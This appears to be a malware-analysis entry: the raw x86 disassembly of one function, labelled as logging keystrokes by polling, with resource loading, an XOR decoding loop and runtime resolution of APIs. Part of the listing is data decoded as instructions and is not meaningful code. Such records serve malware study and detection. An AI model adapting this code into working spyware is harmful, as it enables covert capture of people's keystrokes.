Function at 0x401be0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push esi
push edi
push ebx
push ecx
nop
call fcn.00406d10
sub dword [ebp - 0x14], 0x7b
xchg ebx, eax
push 1
call fcn.0040517e
mov edx, dword [0x44a7ac]
mov esi, 0x44ea9c
mov eax, dword [esi]
xchg ebx, eax
cmp eax, 0x7f
ja 0x401c34
push eax
push 0xa
push eax
push 0
call sub.kernel32.dll_FindResourceA
test eax, eax
mov edx, str._no_such_resource_
je 0x4028ee
push eax
push 0
call sub.kernel32.dll_SizeofResource
jmp 0x401cb5
test edx, edx
jne 0x401c4b
cmp ebx, dword [eax + 2]
je 0x401c45
add bx, 0x2fc
cmp ebx, dword [eax + 3]
je 0x401cfe
cmp byte [eax], 0x22
jne 0x401c63
inc eax
mov edx, eax
inc edx
cmp byte [edx], 0xe
jb 0x401c5e
cmp byte [edx], 0x22
jne 0x401c53
jne 0x401c63
mov byte [edx], 0
test byte [ebp + 8], 2
jne 0x401ca0
xchg ecx, eax
call fcn.00405134
push eax
push 0x13880
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar
pop edx
lea edx, [edx + eax*2]
push 0
push edx
call fcn.00405146
mov edx, dword [edx + 4]
cmp byte [edx + eax - 2], 0x22
jne 0x401ca0
mov byte [edx + eax - 2], 0
push eax
push 3
push eax
call fcn.0040256b
jne 0x401cb3
test byte [ebp + 8], 0x40
setne byte [ebp - 0x31]
je 0x401cf1
push eax
call fcn.00405134
xchg edi, eax
cmp byte [ebp - 0x31], 0
je 0x401cc9
mov al, 0x23
stosb byte es:[edi], al
push 1
jmp 0x401cd7
push 0xffffffffffffff84
pop eax
stosd dword es:[edi], eax
mov eax, dword [ebp - 0x14]
stosd dword es:[edi], eax
pop edx
pop eax
stosd dword es:[edi], eax
xchg edx, eax
stosd dword es:[edi], eax
push eax
push 0
push edi
call fcn.00405146
pop ecx
mov dword [0x44d274], ecx
mov dword [edx + 4], ecx
pop ecx
pop ebx
pop edi
pop esi
leave
ret 4
call fcn.00406d9d
xchg edx, eax
xor eax, eax
jmp 0x4028ee
mov dword [ebp - 4], eax
call 0x401d7e
push ecx
push edx
jbe 0x401d58
jle 0x401d84
push ebp
dec esi
or al, byte [edx + 0x75]
imul esp, dword fs:[ecx], 0x4a0a1410
xor edx, dword [ebp + 0x66]
push ecx
xor al, 0x13
push ebp
adc dl, byte [ebp + 0x40]
and dword [ebx + 0x21], esi
xor al, 0x72
push ss
push ebp
push ecx
add byte [eax + 0x30], bh
jb 0x401d79
push ss
inc esp
sbb al, 0x2d
jp 0x401d57
outsd dx, dword [esi]
dec eax
xor al, byte [eax + 0x1b]
or ebx, dword [esi + 0x2f]
jle 0x401db9
xor byte [edx + 0x5d], cl
xor byte [esi + 0x3e], bl
sbb ebx, dword [ecx + 0x32]
pop ebx
dec ecx
cmp al, 0x53
aas
cmp edx, dword [edx + 0x36]
dec ebx
jb 0x401d90
inc edx
add byte cs:[eax + 3], dl
or eax, 0x586d3570
push eax
add ecx, dword [0x586d3570]
push ds
push eax
sbb dword [edi], edx
jo 0x401d88
jl 0x401dcb
push ds
pop edi
sub al, 0x6a
sub ch, byte [edi]
dec ecx
addps xmm0, xmmword [ecx + 0x2c]
sub al, 0x11
das
pop eax
jg 0x401dc3
sub al, 0x46
sub byte [ebx], ah
inc edx
pop esi
push 0x1e
pop ecx
lodsd eax, dword [esi]
xor eax, dword [esi - 8]
inc esi
clc
push eax
dec ecx
jne 0x401d82
mov esi, esp
lea edi, [ebp - 0x30]
push edi
lodsb al, byte [esi]
cmp al, 0x23
jne 0x401d9c
mov eax, esi
stosd dword es:[edi], eax
mov byte [esi - 1], ch
inc ecx
cmp ecx, 7
jbe 0x401d90
pop edi
mov esi, edi
lodsd eax, dword [esi]
push eax
call sub.kernel32.dll_LoadLibraryA
stosd dword es:[edi], eax
xor ebx, ebx
inc ebx
lodsd eax, dword [esi]
push eax
push dword [ebp - 0x30]
call sub.kernel32.dll_GetProcAddress
stosd dword es:[edi], eax
cmp ebx, 4
jbe 0x401dae
mov esi, 0x409a3c
lodsd eax, dword [esi]
test eax, eax
je 0x401dcf
add byte [ebp + 0x674c085], ch
push eax
call sub.kernel32.dll_GlobalFree
aas
push esp
add byte [eax], al
mov ebx, 0x1000000
lodsd eax, dword [esi]
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
mov dword [ebp - 0xc], eax
lodsd eax, dword [esi]
test eax, eax
jne 0x401de3
mov ah, 8
xchg esi, eax
xor eax, eax
push eax
push eax
push eax
push ebx
push 0x40
call sub.kernel32.dll_GlobalAlloc
xchg edi, eax
push 0
push 0x45e3c8
call dword [ebp - 0x2c]
mov dword [edi], 0x552d4423
test eax, eax
je 0x401e8a
push eax
push edx
push esi
push 0xb
push dword [ebp - 0x18]
push dword [ebp - 4]
push eax
call dword [ebp - 0x28]
xchg esi, eax
test esi, esi
je 0x401e81
mov byte [edi + 3], 0x52
push edi
mov eax, 0x200000
cmp ebx, eax
jae 0x401e43
xchg ebx, eax
mov ecx, edi
pop edx
sub ecx, edx
push ecx
add ecx, ebx
push 2
push ecx
push edx
call sub.kernel32.dll_GlobalReAlloc
pop edx
push eax
xchg edi, eax
add edi, edx
lea edx, [ebp - 0x10]
push edx
push ebx
push edi
push esi
call dword [ebp - 0x24]
dec eax
js 0x401e77
mov eax, dword [ebp - 0x10]
sub ebx, eax
add edi, eax
mov ecx, dword [ebp - 8]
jecxz 0x401e73
mov edx, edi
sub edx, dword [esp]
push dword [0x45ead8]
push eax
call ecx
pop eax
pop dword [0x45ead8]
js 0x401e77
test eax, eax
jne 0x401e23
sub edi, dword [esp]
xchg edi, eax
pop edi
xchg ebx, eax
push esi
call dword [ebp - 0x20]
call dword [ebp - 0x20]
test ebx, ebx
je 0x401e8a
jmp 0x401e8d
push 4
pop ebx
push dword [ebp - 0x30]
call sub.kernel32.dll_FreeLibrary
add esp, 0x78
mov dword [0x409a3c], edi
push edi
add dword [ebp - 0x14], 3
push ebx
mov ecx, dword [ebp - 0xc]
jecxz 0x401eb6
push ebx
push edi
push 0x8765
push ecx
call sub.user32.dll_SendMessageA
jmp 0x401cb6
inc eax
inc eax
inc eax
inc eax